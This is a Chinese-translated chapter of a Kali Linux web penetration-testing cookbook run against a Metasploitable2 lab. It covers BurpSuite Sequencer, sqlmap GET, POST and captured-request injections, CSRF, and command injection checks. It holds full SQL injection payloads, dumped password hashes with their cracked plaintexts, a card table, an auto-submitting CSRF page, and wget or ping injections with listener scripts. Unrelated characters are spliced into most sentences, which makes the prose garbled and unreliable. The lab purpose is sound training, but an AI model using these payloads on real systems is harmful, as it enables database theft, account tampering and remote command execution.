第七章 Web 應用掃描(三)
作者:Justin Hutchens
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
7.13 使用 BurpSuite Sequencer(序列器)
Web 應用會話通常由會話 ID 標識來維護馍盟,它由隨機或偽隨機值組成。出于這個原因,隨機性通常是這些應用的安全的關鍵。這個秘籍中,我們會討論如何使用 BurpSuite Sequencer 來收集生成的值寡键,并測試它們的隨機性心包。
準備
為了使用 BurpSuite 對目標執(zhí)行 Web 應用分析,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)丐谋。所提供的例子中,我們使用 Metasploitable2 實例來完成任務煌珊。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用号俐,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍定庵。
此外吏饿,你的 Web 瀏覽器需要配置來通過 BurpSuite 本地實例代理 Web 流量。關于將 BurpSuite 用作瀏覽器代理的更多信息蔬浙,請參考第一章的“配置 BurpSuite”一節(jié)猪落。
操作步驟
為了使用 BurpSuite Sequencer,響應必須包含Set-Cookie
協(xié)議頭畴博,或者其它偽隨機數(shù)的值笨忌,測試需要它們來發(fā)送。這可以通過HTTP 代理歷史或者先于瀏覽器的響應攔截來完成俱病,像這樣:
Burp 會自動使用響應中的所有 Cookie 值填充 Cookie 下拉菜單官疲。作為替代,你可以使用Custom location
字段亮隙,之后點擊Configure
按鈕來指定響應中的任何位置用于測試途凫,像這樣:
在確定需要測試的值之后,點擊Start live capture
按鈕溢吻,這會開始提交大量請求來獲得參數(shù)的附加值维费。這個例子中,Burp 會提交大量請求促王,并將 PHPSESSID 從請求中去除犀盟。這會導致服務器為每個請求生成新的會話標識。這樣一來蝇狼,我們就可以獲得樣本值且蓬,它們可以用于完成 FIPS 測試。FIPS 測試由一系列測試組成题翰,它們會評估所生成的偽隨機數(shù)的熵。所有這些測試會以圖形格式展示诈胜,使其十分易懂豹障,像這樣:
對于高準確率和徹底的 FIPS 測試來說,總共需要 20000 個值焦匈。但是分析最少可以以 100 個值來執(zhí)行血公。除了執(zhí)行實時捕獲之外,Manual load
標簽頁可以用于為測試上傳或粘貼值的列表缓熟。
工作原理
BurpSuite Sequencer 對偽隨機數(shù)樣本執(zhí)行大量不同的數(shù)學評估累魔,根據(jù)所生成隨機數(shù)的熵嘗試判斷其質量摔笤。實時捕獲可用于生成樣本值,它通過提交事先構造的請求垦写,并導致服務器指派新的值吕世。這通常通過從請求中移除現(xiàn)有Cookie
值,從而使響應以新的Set-Cookie
協(xié)議頭的形式梯投,提供新的會話標識來完成命辖。
7.14 使用 sqlmap 注入 GET 方法
Web 應用常常接受所提供 URL 內的參數(shù)。這些參數(shù)通常以 HTTP GET 方法傳給服務器分蓖。如果任何這些參數(shù)隨后包含在發(fā)給后端數(shù)據(jù)庫的查詢語句中尔艇,SQL 注入漏洞就可能存在。我們會討論如何使用 sqlmap 來自動化 HTTP GET 方法請求參數(shù)的測試么鹤。
準備
為了使用 sqlmap 對目標執(zhí)行 Web 應用分析终娃,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)。所提供的例子中蒸甜,我們使用 Metasploitable2 實例來完成任務棠耕。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用,運行在 TCP 80 端口上迅皇。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍昧辽。
操作步驟
為了使用 sqlmap 來測試 HTTP GET 方法參數(shù),你需要使用-u
參數(shù)以及要測試的 URL登颓。這個 URL 應該包含任何 GET 方法參數(shù)搅荞。此外,如果 Web 內容僅僅通過建立的會話來方法框咙,還需要使用--cookie
提供與會話對應的 Cookie咕痛。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5
** {CUT} **
sqlmap identified the following injection points with a total of 279 HTTP(s) requests:
--
Place: GET
Parameter: id
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y
--
** {TRUNCATED} **
上面的例子使用了risk
值3
和level
值5
。這些值定義了所執(zhí)行測試的風險性和徹底性喇嘱。更多risk
和level
的信息請參考 sqlmap 手冊頁和幫助文件坑资。執(zhí)行測試時眯牧,sqlmap 會快速將后端數(shù)據(jù)庫識別為 MySQL,并跳過其它測試。如果沒有指定任何操作闻坚,sqlmap 會僅僅判斷是否任何參數(shù)存在漏洞,像上個例子那樣振湾。在一系列注入嘗試之后暇务,sqlmap 判斷出ID
參數(shù)存在多種類型的 SQL 注入漏洞。在確認漏洞之后拿撩,sqlmap 會執(zhí)行操作來提取后端數(shù)據(jù)庫的信息衣厘。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dbs
** {CUT} **
--
[03:38:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
[03:38:00] [INFO] fetching database names
[03:38:00] [WARNING] reflective value(s) found and filtering out
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
** {TRUNCATED} **
在上面的例子中,--dbs
參數(shù)用于枚舉所有可用的,能通過 SQL 注入訪問的數(shù)據(jù)庫影暴。通過名稱來判斷错邦,它表明列出的數(shù)據(jù)庫直接對應 DVWA 的應用。我們之后可以直接對數(shù)據(jù)庫執(zhí)行操作型宙。為了提取 DWVA 數(shù)據(jù)庫的所有表的名稱撬呢,我們可以使用--tables
參數(shù)來讓 sqlmap 提取表名稱,之后使用-D
參數(shù)指定需要提取的數(shù)據(jù)庫(dvwa
)早歇。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --tables -D dvwa
** {CUT} **
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
** {TRUNCATED} **
這樣做倾芝,我們可以看到 DVWA 數(shù)據(jù)庫中有兩個表。這些表包括guestbook
和users
箭跳。用戶表通常值得提取晨另,因為它通常包含用戶名和相關的密碼哈希。為了從某個指定表中提取信息谱姓,我們可以使用--dump
參數(shù)借尿,之后使用-D
參數(shù)來指定數(shù)據(jù)庫,-T
參數(shù)來指定提取哪個表的內容屉来。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dump -D dvwa -T users
** {CUT} **
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[03:44:03] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file './txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[03:44:08] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
** {CUT} **
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+
| user_id | user | avatar | password | last_name | first_name |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+
| 1 | admin | http://192.168.223.132/dvwa/hackable/users/admin. jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin |
| 2 | gordonb | http://192.168.223.132/dvwa/hackable/users/gordonb. jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
| 3 | 1337 | http://192.168.223.132/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
| 4 | pablo | http://192.168.223.132/dvwa/hackable/users/pablo. jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
| 5 | smithy | http://192.168.223.132/dvwa/hackable/users/smithy. jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+
** {TRUNCATED} **
在識別表的內容中存在密碼哈希之后路翻,sqlmap 會提供選項,詢問用戶是否使用內置的密碼破解器來對枚舉密碼哈希執(zhí)行字典攻擊茄靠。這可以使用內置單詞列表茂契,自定義單詞列表,或者一系列單詞列表來執(zhí)行慨绳。在執(zhí)行字典攻擊之后掉冶,我們可以看到表的內容包含用戶 ID,用戶頭像的位置脐雪,MD5 哈希厌小,哈希的純文本附加值(鹽),以及用戶姓名战秋。
工作原理
sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求璧亚。它在近幾年間已經(jīng)高度優(yōu)化,并給予之前查詢的響應來智能調整注入脂信。在 HTTP GET 參數(shù)上執(zhí)行 SQL 注入非常繁瑣癣蟋,因為修改內容要經(jīng)過請求 URL 。
7.15 使用 sqlmap 注入 POST 方法
sqlmap 是 Kali 中的集成命令行工具狰闪,它通過自動化整個流程梢薪,極大降低了手動利用 SQL 注入漏洞所需的經(jīng)歷總量。這個秘籍中尝哆,我們會討論如何使用 sqlmap 來自動化 HTTP POST 請求參數(shù)的測試。
準備
為了使用 sqlmap 對目標執(zhí)行 Web 應用分析甜攀,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)秋泄。所提供的例子中琐馆,我們使用 Metasploitable2 實例來完成任務。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用恒序,運行在 TCP 80 端口上瘦麸。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
為了在使用 HTTP POST 方法的服務上指定 SQL 注入歧胁,我們需要使用--data
參數(shù)來指定 POST 參數(shù)字符串滋饲。Mutillidae 的登錄應用提供了一個登錄頁面,它通過 POST 方法傳遞用戶名和密碼喊巍。它就是我們的 SQL 注入攻擊目標屠缭。看看下面的例子:
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --level=5 --risk=3
** {CUT} **
sqlmap identified the following injection points with a total of 267 HTTP(s) requests:
--
Place: POST
Parameter: username
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=-8082' OR (4556=4556)#&password=pass&login-phpsubmit-button=Login
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=user' AND (SELECT 3261 FROM(SELECT COUNT(*),CONCAT( 0x3a61746d3a,(SELECT (CASE WHEN (3261=3261) THEN 1 ELSE 0 END)),0x3a76676 23a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x) a) AND 'MraR'='MraR&password=pass&login-php-submit-button=Login
--
[04:14:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
** {TRUNCATED} **
如果沒有指定操作崭参,sqlmap 僅僅會判斷是否任何參數(shù)存在漏洞呵曹,像上面的例子那樣。在一系列注入嘗試之后何暮,sqlmap 判斷出用戶名 POST 參數(shù)存在boolean-blind
和error-based
漏洞奄喂。在確認漏洞之后,sqlmap 會執(zhí)行操作海洼,開始從后端數(shù)據(jù)庫提取信息跨新。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dbs
** {CUT} **
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
** {TRUNCATED} **
在上面的例子中,--dbs
參數(shù)用于枚舉所有可用的坏逢,可通過 SQL 注入訪問的數(shù)據(jù)庫域帐。我們隨后可以對特定數(shù)據(jù)庫直接執(zhí)行操作。為了提取owasp10
數(shù)據(jù)庫中的所有表的名稱词疼,我們可以使用--tables
參數(shù)讓 sqlmap 提取表名稱俯树。之后使用-D
參數(shù)來指定從哪個數(shù)據(jù)庫(owasp10
)提取名稱。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --tables -D owasp10
** {CUT} **
Database: owasp10
[6 tables]
+----------------+
| accounts |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+----------------+
** {TRUNCATED} **
這樣做贰盗,我們就可以看到许饿,owasp10
數(shù)據(jù)庫中存在六個表。這些表包含accounts, blog_table, captured_data, credit_cards, hitlog, and pen_test_tools
舵盈。最明顯的表名稱是credit_cards
陋率。為了提取某個指定表的內容,我們可以使用--dump
參數(shù)秽晚,之后使用-D
參數(shù)來指定數(shù)據(jù)庫瓦糟,-T
參數(shù)來指定從哪個表中提取內容。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dump -D owasp10 -T credit_cards
** {CUT} **
Database: owasp10
Table: credit_cards
[5 entries]
+------+-----+------------------+------------+
| ccid | ccv | ccnumber | expiration | +------+-----+------------------+------------+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
| 2 | 722 | 7746536337776330 | 2015-04-01 |
| 3 | 461 | 8242325748474749 | 2016-03-01 |
| 4 | 230 | 7725653200487633 | 2017-06-01 |
| 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+------------------+------------+
** {TRUNCATED} **
工作原理
sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求赴蝇。它在近幾年間已經(jīng)高度優(yōu)化菩浙,并給予之前查詢的響應來智能調整注入。在 HTTP POST 參數(shù)上執(zhí)行 SQL 注入的原理是操作添加到 POST 方法請求末尾的數(shù)據(jù)。
7.16 使用 sqlmap 注入捕獲的請求
為了簡化 sqlmap 的使用流程劲蜻,可以使用來自 BurpSuite 的捕獲請求并使用定義在其中的所有參數(shù)和配置來執(zhí)行 sqlmap陆淀。在這個秘籍中,我們會討論如何使用 sqlmap 來測試和所捕獲請求相關的參數(shù)先嬉。
準備
為了使用 sqlmap 對目標執(zhí)行 Web 應用分析轧苫,你需要擁有運行一個或多個 Web 應用的遠程系統(tǒng)。所提供的例子中疫蔓,我們使用 Metasploitable2 實例來完成任務含懊。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用,運行在 TCP 80 端口上衅胀。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍岔乔。
操作步驟
為了在 sqlmap 中使用捕獲的請求,必須首先將其保存為文本格式拗小。為了這樣做重罪,右擊 BurpSuite 中的請求內容之后選擇Copy to file
。保存之后哀九,你就可以通過瀏覽器目錄并使用cat
命令來驗證文件內容剿配。
root@KaliLinux:~# cat dvwa_capture
GET /dvwa/vulnerabilities/sqli_blind/?id=test_here&Submit=Submit HTTP/1.1
Host: 172.16.36.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.36.135/dvwa/vulnerabilities/sqli_blind/
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c
Connection: keep-alive
為了使用捕獲的請求,以 -r
參數(shù)執(zhí)行 sqlmap阅束,值為文件的絕對路徑呼胚。這個方式通常會極大降低在sqlmap
命令中需要提供的信息量,因為需要提供的多數(shù)信息都包含在文件里了息裸∮看看下面的例子:
oot@KaliLinux:~# sqlmap -r /root/dvwa_capture --level=5 --risk=3 -p id
[*] starting at 16:44:09
[16:44:09] [INFO] parsing HTTP request from '/root/dvwa_capture'
在上面的例子中,不需要向 sqlmap 傳遞任何 Cookie 值呼盆,因為 Cookie 值已經(jīng)定義在捕獲的請求中了年扩。當 sqlmap 運行時,捕獲文件中的 Cookie 會自動在所有請求中使用访圃,像這樣:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 487 HTTP(s) requests:
--
Place: GET
Parameter: id
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-8210' OR (7740=7740) AND 'ZUCk'='ZUCk&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=test_here' UNION ALL SELECT NULL,CONCAT(0x3a6f63723a,0x67 744e67787a6157674e,0x3a756c753a)#&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: id=test_here' AND 4329=BENCHMARK(5000000,MD5(0x486a7a4a)) AND 'ARpD'='ARpD&Submit=Submit
sqlmap 能夠測試捕獲請求中的所有識別的 GET 方法參數(shù)厨幻。這里,我們可以看到腿时,ID
參數(shù)存在多個 SQL 注入漏洞况脆。
工作原理
sqlmap 能夠接受捕獲的請求,來解析請求的內容并是被任何可測試的參數(shù)批糟。這讓 sqlmap 能夠高效執(zhí)行格了,而不需要花費額外的經(jīng)歷來傳遞攻擊所需的所有參數(shù)。
7.17 自動化 CSRF 測試
跨站請求偽造(CSRF)是最難以理解的 Web 應用漏洞之一徽鼎。無論如何盛末,不能夠識別這類漏洞會危害 Web 應用和它的用戶弹惦。這個秘籍中,我們會討論如何測試 GET 和 POST 方法中的 CSRF 漏洞悄但。
準備
為了對目標執(zhí)行 CSRF 測試肤频,你需要擁有運行一個或多個含有 CSRF 漏洞的 Web 應用的遠程系統(tǒng)。所提供的例子中算墨,我們使用 Metasploitable2 實例來完成任務。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用汁雷,運行在 TCP 80 端口上净嘀。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
操作步驟
CSRF 可能會出現(xiàn)在 GET 或 POST 方法的事務中侠讯,DVWA 提供了 GET 方法 CSRF 漏洞的一個良好示例挖藏。應用允許用戶通過 GET 方法提交新的值兩次來更新密碼。
GET /dvwa/vulnerabilities/csrf/?password_new=password&password_ conf=password&Change=Change HTTP/1.1
Host: 172.16.36.135 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.36.135/dvwa/vulnerabilities/csrf/
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c
由于缺少 CSRF 控制厢漩,我們嘗試利用這個漏洞膜眠。如果 Web 應用的用戶被引誘來訪問某個 URL,其中含有預先配置的password_ new
和password_ conf
值溜嗜,攻擊者就能強迫受害者將密碼修改為攻擊者的選擇宵膨。下面的 URL 是個利用的示例。如果受害者訪問了這個鏈接炸宵,它們的密碼會被修改為compromised
辟躏。
http://172.16.36.135/dvwa/vulnerabilities/csrf/?password_ new=compromised&password_conf=compromised&Change=Change#
但是,這種可以簡單利用的 CSRF 漏洞很少存在土全。這是因為多數(shù)開發(fā)者對安全擁有起碼的終止捎琐,不會使用 GET 方法參數(shù)來執(zhí)行安全事務。POST 方法 CSRF 的一個例子是 Mutillidae 應用的 blog
功能裹匙,像這樣:
POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1
Host: 172.16.36.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.36.135/mutillidae/index.php?page=add-to-your-blog. php
Cookie: username=Victim; uid=17; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7 b0c
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
csrf-token=SecurityIsDisabled&blog_entry=This+is+my+blog+entry&add-toyour-blog-php-submit-button=Save+Blog+Entry
上面的例子中瑞凑,我們可以看到,驗證用戶所提交的blog
入口通過blog_entry
POST 方法參數(shù)傳遞概页。為了利用這個 CSRF 控制的缺失籽御,攻擊者需要構造惡意頁面,它能導致受害者提交所需的參數(shù)绰沥。下面是個 POST 方法 CSRF 攻擊的例子:
<html>
<head>
<title></title>
</head>
<body>
<form name="csrf" method="post" action="http://172.16.36.135/ mutillidae/index.php?page=add-t$
<input type="hidden" name="csrf-token" value="SecurityIsDisabled" />
<input type="hidden" name="blog_entry" value="HACKED" />
<input type="hidden" name="add-to-your-blog-phpsubmit-button" value="Save+Blog+Entr$
</form>
<script type="text/javascript">
document.csrf.submit();
</script> </body> </html>
這個惡意 Web 頁面使用了 HTML 表單篱蝇,它將多個隱藏的輸入字段返回給服務器,這些字段對應 Mutillidae 應用的blog
入口提交請求所需的相同輸入徽曲。此外零截,JS 用于提交表單。所有這些事情在受害者不執(zhí)行任何操作的情況下就會發(fā)生秃臣〗а茫考慮下面的例子:
root@KaliLinux:~# mv CSRF.html /var/www/
root@KaliLinux:~# /etc/init.d/apache2 start
[....] Starting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
. ok
為了部署這個惡意 Web 內容哪工,應該將其移動到 Web 根目錄下。在 Kali 中弧哎,默認的 Apache Web 根目錄是/var/www/
雁比。同樣,確保 Apache2 服務已打開撤嫩。像這樣:
當驗證后的受害者瀏覽器惡意頁面時偎捎,受害者會自動重定向到 Mutillidae 博客應用,并提交博客入口HACKED
序攘。
工作原理
CSRF 的成因是請求最終由用戶的會話生成茴她。這個攻擊利用受害者瀏覽器已經(jīng)和遠程 Web 服務器建立連接的信任。在 GET 方法 CSRF 的例子中程奠,受害者被誘導訪問某個 URL丈牢,其中的參數(shù)為惡意事務而定義。在 POST 方法 CSRF 的例子中瞄沙,受害者被誘導瀏覽定義了參數(shù)的頁面己沛,這些參數(shù)隨后會由受害者的瀏覽器轉發(fā)給漏洞服務器,來指定惡意事務距境。在每個例子中申尼,事務由于請求來自受害者的瀏覽器而被執(zhí)行,受害者已經(jīng)和漏洞服務器建立了可信的會話肮疗。
7.18 使用 HTTP 流量驗證命令注入漏洞
命令注入可能是移植 Web 應用攻擊向量中最危險的漏洞了晶姊。多數(shù)攻擊者嘗試利用該漏洞,以期望它們最后能夠在底層 OS 上執(zhí)行任意的代碼伪货。命令執(zhí)行漏洞提供了無需額外步驟的可能们衙。這個秘籍中,我們會討論如何使用 Web 服務器日志或自定義 Web 服務腳本來確認命令執(zhí)行漏洞碱呼。
準備
為了對目標執(zhí)行命令注入漏洞測試蒙挑,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應用的遠程系統(tǒng)。所提供的例子中愚臀,我們使用 Metasploitable2 實例來完成任務忆蚀。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用,運行在 TCP 80 端口上姑裂。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍馋袜。
此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器舶斧,將腳本寫到文件系統(tǒng)欣鳖。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。
操作步驟
通過執(zhí)行命令茴厉,強迫后端系統(tǒng)和 Web 服務器交互泽台,我們就能夠驗證 Web 應用中的命令注入漏洞什荣。日志可以作為漏洞服務器和它交互的證據(jù)。作為替代怀酷,可以編寫一個自定義腳本來生成一個臨時的 Web 服務稻爬,它可以監(jiān)聽外部連接,并打印接收到的請求蜕依。下面的 Python 代碼完成了這件事情:
#!/usr/bin/python
import socket
httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
httprecv.bind(("0.0.0.0",8000))
httprecv.listen(2)
(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip
data = client.recv(4096)
print str(data)
client.close()
httprecv.close()
一旦執(zhí)行腳本桅锄,我們需要強迫目標服務器和監(jiān)聽服務交互,來確認命令注入漏洞样眠。DWVA 應用擁有ping
功能竞滓,可以用于 ping 一個指定 IP 地址。用戶輸入直接傳遞給系統(tǒng)調用吹缔,可以修改來執(zhí)行底層 OS 的任意命令、我們可以通過使用分號來添加多個命令锯茄,每個命令依次排列厢塘,像這樣:
在上面的例子中,輸入用于 ping 127.0.0.1
肌幽,并且對http://172.16.36.224:8000
執(zhí)行wget
晚碾。wget
請求對應臨時的 Python 監(jiān)聽服務。在提交輸入后喂急,我們可以通過參考腳本的輸入來驗證命令執(zhí)行:
root@KaliLinux:~# ./httprecv.py
Received connection from : 172.16.36.135
GET / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */* Host: 172.16.36.224:8000
Connection: Keep-Alive
工作原理
Python 腳本用于確認命令執(zhí)行漏洞格嘁,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標服務器上執(zhí)行。載荷輸入到服務器的時候廊移,不可能同時執(zhí)行相似的請求糕簿。但是,即使載荷并不是被檢測到的流量的真正來源狡孔,我們也可以輕易嘗試多次來排除錯誤情況懂诗。
7.19 使用 ICMP 流量 來驗證命令注入
命令注入可能是移植 Web 應用攻擊向量中最危險的漏洞了。多數(shù)攻擊者嘗試利用該漏洞苗膝,以期望它們最后能夠在底層 OS 上執(zhí)行任意的代碼殃恒。命令執(zhí)行漏洞提供了無需額外步驟的可能。這個秘籍中辱揭,我們會討論如何使用 ICMP 流量來編寫用于確認命令執(zhí)行漏洞的自定義腳本离唐。
準備
為了對目標執(zhí)行命令注入漏洞測試,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應用的遠程系統(tǒng)问窃。所提供的例子中亥鬓,我們使用 Metasploitable2 實例來完成任務。 Metasploitable2 擁有多種預安裝的漏洞 Web 應用泡躯,運行在 TCP 80 端口上贮竟。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍丽焊。
此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器咕别,將腳本寫到文件系統(tǒng)技健。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。
操作步驟
通過執(zhí)行命令惰拱,強迫后端系統(tǒng)發(fā)送 ICMP 流量給監(jiān)聽服務雌贱,我們可以驗證 Web 應用中的命令注入漏洞。接收到的 ICMP 回響請求可以用于識別漏洞系統(tǒng)偿短。下面是一段 Python 代碼欣孤,使用 Scapy 庫來實現(xiàn):
#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
def rules(pkt):
try:
if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):
print str(pkt[IP].src) + " is exploitable"
except:
pass
print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening"
sniff(lfilter=rules,store=0)
在 ICMP 監(jiān)聽器執(zhí)行之后,我們需要嘗試從漏洞服務器向監(jiān)聽服務發(fā)送 ICMP 回響請求昔逗。這可以通過將ping
命令注入到存在命令注入漏洞的用戶輸入來完成降传。在 Mutillidae 中,執(zhí)行 DNS 枚舉的功能存在漏洞勾怒,它直接將用戶輸入傳遞給系統(tǒng)調用婆排。通過使用分號,單獨的ping
請求可以追加到用戶輸入后面笔链。
假設服務器存在命令注入漏洞段只,Python 監(jiān)聽器會提示收到了 ICMP 回響請求,而且目標服務器可能存在漏洞鉴扫。
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
172.16.36.135 is exploitable
工作原理
Python 腳本用于確認命令執(zhí)行漏洞赞枕,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標服務器上執(zhí)行。載荷輸入到服務器的時候坪创,不可能同時執(zhí)行相似的請求炕婶。但是,即使載荷并不是被檢測到的流量的真正來源莱预,我們也可以輕易嘗試多次來排除錯誤情況古话。